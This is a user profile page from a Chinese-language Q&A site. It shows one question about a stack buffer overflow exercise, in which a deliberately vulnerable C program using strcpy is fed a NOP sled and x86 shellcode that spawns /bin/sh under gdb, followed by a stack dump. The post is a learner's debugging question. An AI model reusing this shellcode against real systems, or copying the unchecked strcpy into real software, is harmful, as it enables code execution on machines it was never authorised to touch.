AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / user-15316632

r3k0j's questions

Martin Hope
r3k0j
Asked: 2024-03-04 18:16:48 +0800 CST

在缓冲区溢出中运行 shell 代码时未获得预期输出

  • 6

找到eip偏移量后,我尝试向我的程序输入一些 shell 代码。使用以下命令run $(python -c 'print("A"*108 + "BBBB")')我得到以下输出

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

现在,当我尝试添加 shell 代码时出现问题。当我输入

run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')

我没有得到我所期望的结果,返回地址被 B 覆盖,但我得到以下结果

Program received signal SIGSEGV, Segmentation fault.
0x90c290c2 in ?? ()

当我将 B 的数量增加到 48 并将 NOP 的数量减少到 35 时,它确实有效,但我不太明白为什么这不适用于返回地址的更多 NOP 和更少的 B。我不明白的另一件事是我在堆栈中没有看到任何 NOP。

(gdb) x/200x $esp
0xffffd2a0: 0x42424242  0x42424242  0x42424242  0x42424242
0xffffd2b0: 0x42424242  0x42424242  0x42424242  0x42424242
0xffffd2c0: 0x42424242  0x42424242  0x00424242  0x00000001
0xffffd2d0: 0xffffd398  0x68e47ce5  0x9e780f0a  0x00000000
0xffffd2e0: 0x00000000  0x00000000  0xffffd3e0  0x0804b519
0xffffd2f0: 0x00000000  0x08049c76  0xffffd3e0  0x0804b52d
0xffffd300: 0x00000000  0x00000000  0x00000000  0x0804968d
0xffffd310: 0x00000040  0x0000000c  0x00000040  0x00000008
0xffffd320: 0x00040000  0x00000040  0x00002000  0x00300000
0xffffd330: 0x00090000  0x00040000  0x00002000  0x00008000
0xffffd340: 0xffffd370  0xffffd3d4  0x00000002  0x00000001
0xffffd350: 0x00000006  0x00000045  0x00000001  0x00300000
0xffffd360: 0x000c0000  0x00000004  0x00000001  0x00000000
0xffffd370: 0xffffffff  0x00000000  0x080e3620  0x00000000
0xffffd380: 0x00000000  0x00000000  0xffffd3b0  0x080e3ff4
0xffffd390: 0x00000002  0x00000000  0x00000000  0x08049688
0xffffd3a0: 0x00000000  0x00000000  0x00000000  0x08049688
0xffffd3b0: 0x0804968d  0x00000002  0xffffd3d4  0x00000000
0xffffd3c0: 0x00000000  0x00000000  0xffffd3cc  0x00000000
0xffffd3d0: 0x00000002  0xffffd5d2  0xffffd609  0x00000000
0xffffd3e0: 0xffffd6a5  0xffffd6b5  0xffffd6c9  0xffffd6ff
0xffffd3f0: 0xffffd70c  0xffffd746  0xffffd773  0xffffd78a
0xffffd400: 0xffffd79e  0xffffd7d1  0xffffd80f  0xffffd826
0xffffd410: 0xffffd83e  0xffffd881  0xffffd891  0xffffd89d
0xffffd420: 0xffffd8bd  0xffffd8cc  0xffffd8ff  0xffffd90a
0xffffd430: 0xffffd925  0xffffd93a  0xffffd94f  0xffffd95e
0xffffd440: 0xffffd97e  0xffffd9ac  0xffffd9bb  0xffffd9c4
0xffffd450: 0xffffda14  0xffffda22  0xffffda33  0xffffda48
0xffffd460: 0xffffda60  0xffffda6c  0xffffdaf0  0xffffdb01
0xffffd470: 0xffffdb35  0xffffdb64  0xffffdbb0  0xffffdbbf
0xffffd480: 0xffffdbd4  0xffffdbeb  0xffffdc09  0xffffdc1d
0xffffd490: 0xffffdc25  0xffffdc3b  0xffffdc6d  0xffffdc78
0xffffd4a0: 0xffffdc80  0xffffdc99  0xffffdcb4  0xffffdcbf
0xffffd4b0: 0xffffdcd0  0xffffdcef  0xffffdd21  0xffffdd35
0xffffd4c0: 0xffffdd53  0xffffdd6a  0xffffdd83  0xffffdda1
0xffffd4d0: 0xffffde16  0xffffde2c  0xffffde3c  0xffffdf08
0xffffd4e0: 0xffffdf1a  0xffffdf50  0xffffdf6c  0xffffdf84
0xffffd4f0: 0xffffdf9b  0x00000000  0x00000020  0xf7ffc570
0xffffd500: 0x00000021  0xf7ffc000  0x00000033  0x000006f0
0xffffd510: 0x00000010  0xbfebfbff  0x00000006  0x00001000
0xffffd520: 0x00000011  0x00000064  0x00000003  0x08048034
0xffffd530: 0x00000004  0x00000020  0x00000005  0x00000009
0xffffd540: 0x00000007  0x00000000  0x00000008  0x00000000
0xffffd550: 0x00000009  0x08049660  0x0000000b  0x000003e8
0xffffd560: 0x0000000c  0x000003e8  0x0000000d  0x000003e8
0xffffd570: 0x0000000e  0x000003e8  0x00000017  0x00000000
0xffffd580: 0x00000019  0xffffd5bb  0x0000001a  0x00000002
0xffffd590: 0x0000001f  0xffffdfc1  0x0000000f  0xffffd5cb
0xffffd5a0: 0x0000001b  0x0000001c  0x0000001c  0x00000020
0xffffd5b0: 0x00000000  0x00000000  0x62000000  0x9e72e32a

我使用的是 Python 3。shell 代码长 25 个字节。我已经禁用了 ASLR。这是我的 C 代码

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}
x86
  • 1 个回答
  • 29 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    重新格式化数字,在固定位置插入分隔符

    • 6 个回答
  • Marko Smith

    为什么 C++20 概念会导致循环约束错误,而老式的 SFINAE 不会?

    • 2 个回答
  • Marko Smith

    VScode 自动卸载扩展的问题(Material 主题)

    • 2 个回答
  • Marko Smith

    Vue 3:创建时出错“预期标识符但发现‘导入’”[重复]

    • 1 个回答
  • Marko Smith

    具有指定基础类型但没有枚举器的“枚举类”的用途是什么?

    • 1 个回答
  • Marko Smith

    如何修复未手动导入的模块的 MODULE_NOT_FOUND 错误?

    • 6 个回答
  • Marko Smith

    `(表达式,左值) = 右值` 在 C 或 C++ 中是有效的赋值吗?为什么有些编译器会接受/拒绝它?

    • 3 个回答
  • Marko Smith

    在 C++ 中,一个不执行任何操作的空程序需要 204KB 的堆,但在 C 中则不需要

    • 1 个回答
  • Marko Smith

    PowerBI 目前与 BigQuery 不兼容:Simba 驱动程序与 Windows 更新有关

    • 2 个回答
  • Marko Smith

    AdMob:MobileAds.initialize() - 对于某些设备,“java.lang.Integer 无法转换为 java.lang.String”

    • 1 个回答
  • Martin Hope
    Fantastic Mr Fox msvc std::vector 实现中仅不接受可复制类型 2025-04-23 06:40:49 +0800 CST
  • Martin Hope
    Howard Hinnant 使用 chrono 查找下一个工作日 2025-04-21 08:30:25 +0800 CST
  • Martin Hope
    Fedor 构造函数的成员初始化程序可以包含另一个成员的初始化吗? 2025-04-15 01:01:44 +0800 CST
  • Martin Hope
    Petr Filipský 为什么 C++20 概念会导致循环约束错误,而老式的 SFINAE 不会? 2025-03-23 21:39:40 +0800 CST
  • Martin Hope
    Catskul C++20 是否进行了更改,允许从已知绑定数组“type(&)[N]”转换为未知绑定数组“type(&)[]”? 2025-03-04 06:57:53 +0800 CST
  • Martin Hope
    Stefan Pochmann 为什么 {2,3,10} 和 {x,3,10} (x=2) 的顺序不同? 2025-01-13 23:24:07 +0800 CST
  • Martin Hope
    Chad Feller 在 5.2 版中,bash 条件语句中的 [[ .. ]] 中的分号现在是可选的吗? 2024-10-21 05:50:33 +0800 CST
  • Martin Hope
    Wrench 为什么双破折号 (--) 会导致此 MariaDB 子句评估为 true? 2024-05-05 13:37:20 +0800 CST
  • Martin Hope
    Waket Zheng 为什么 `dict(id=1, **{'id': 2})` 有时会引发 `KeyError: 'id'` 而不是 TypeError? 2024-05-04 14:19:19 +0800 CST
  • Martin Hope
    user924 AdMob:MobileAds.initialize() - 对于某些设备,“java.lang.Integer 无法转换为 java.lang.String” 2024-03-20 03:12:31 +0800 CST

热门标签

python javascript c++ c# java typescript sql reactjs html

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve